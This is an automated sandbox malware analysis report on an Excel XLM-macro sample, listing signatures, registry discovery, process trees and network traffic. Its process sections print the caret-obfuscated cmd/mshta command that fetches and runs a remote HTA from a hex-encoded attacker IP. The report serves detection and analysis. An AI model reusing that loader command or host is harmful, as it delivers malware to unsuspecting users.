Malware Analysis Report

2025-03-15 07:24

Sample ID 241111-1khmhszrel
Target b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578
SHA256 b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578
Tags
macro xlm discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578

Threat Level: Known bad

The file b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578 was found to be: Known bad.

Malicious Activity Summary

macro xlm discovery

Process spawned unexpected child process

Suspicious Office macro

Blocklisted process makes network request

System Location Discovery: System Language Discovery

Suspicious use of WriteProcessMemory

Checks processor information in registry

Enumerates system info in registry

Modifies Internet Explorer settings

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 21:42

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 21:42

Reported

2024-11-11 21:44

Platform

win7-20240708-en

Max time kernel

119s

Max time network

120s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html

C:\Windows\SysWOW64\mshta.exe

mshta http://0xb907d607/fer/fe3.html

Network

Country Destination Domain Proto
RU 185.7.214.7:80 tcp
RU 185.7.214.7:80 tcp

Files

memory/1476-1-0x0000000072A5D000-0x0000000072A68000-memory.dmp

memory/1476-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1476-2-0x0000000072A5D000-0x0000000072A68000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 21:42

Reported

2024-11-11 21:44

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

138s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3928 wrote to memory of 1408 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 3928 wrote to memory of 1408 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 1408 wrote to memory of 2140 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 1408 wrote to memory of 2140 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html

C:\Windows\system32\mshta.exe

mshta http://0xb907d607/fer/fe3.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 roaming.officeapps.live.com udp
IE 52.109.76.243:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 18.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
RU 185.7.214.7:80 tcp
US 8.8.8.8:53 243.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 68.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 63.141.182.52.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 28.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp

Files

memory/3928-0-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

memory/3928-2-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

memory/3928-3-0x00007FFB79C4D000-0x00007FFB79C4E000-memory.dmp

memory/3928-1-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

memory/3928-6-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

memory/3928-5-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

memory/3928-9-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

memory/3928-11-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

memory/3928-10-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

memory/3928-12-0x00007FFB37A90000-0x00007FFB37AA0000-memory.dmp

memory/3928-8-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

memory/3928-7-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

memory/3928-4-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

memory/3928-14-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

memory/3928-13-0x00007FFB37A90000-0x00007FFB37AA0000-memory.dmp

memory/3928-15-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

memory/3928-16-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

memory/3928-17-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

memory/3928-18-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

memory/3928-20-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

memory/3928-19-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

memory/3928-21-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

memory/3928-37-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 06390db9ceddd14aeac407f3aac4921d
SHA1 4360a456ca438eca71e35daf12f7bb1871f262cd
SHA256 94cfdd2569c8549b8717b619544a29ef10ff450282f7f5fafe2637769fb09bd5
SHA512 c5f8c1cf2b333b45daf084f162c839a99d9463d1399e4782a35bbf308f59d9de481f26fb9312da2e5180a45b038fc03e895ca8c8b650ef604d405d18606edd40